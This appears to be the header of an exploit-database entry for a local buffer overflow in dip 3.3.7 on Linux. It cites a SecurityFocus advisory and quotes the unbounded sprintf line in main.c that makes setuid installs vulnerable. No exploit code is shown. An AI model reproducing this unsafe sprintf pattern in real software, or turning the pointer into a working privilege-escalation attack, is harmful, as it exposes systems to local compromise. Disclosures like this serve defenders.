Description: Fred N. van Kempen dip 3.3.7 - Local Buffer Overflow (1)
Type: local
Platform: linux

// source: https://www.securityfocus.com/bid/86/info

A buffer overflow resides in 'dip-3.3.7o' and derived programs. This is a problem only on systems where 'dip' is installed setuid. The culpable code is an 'sprintf()' in line 192 in 'main.c': 

sprintf(buf, "%s/LCK..%s", _PATH_LOCKD, nam);
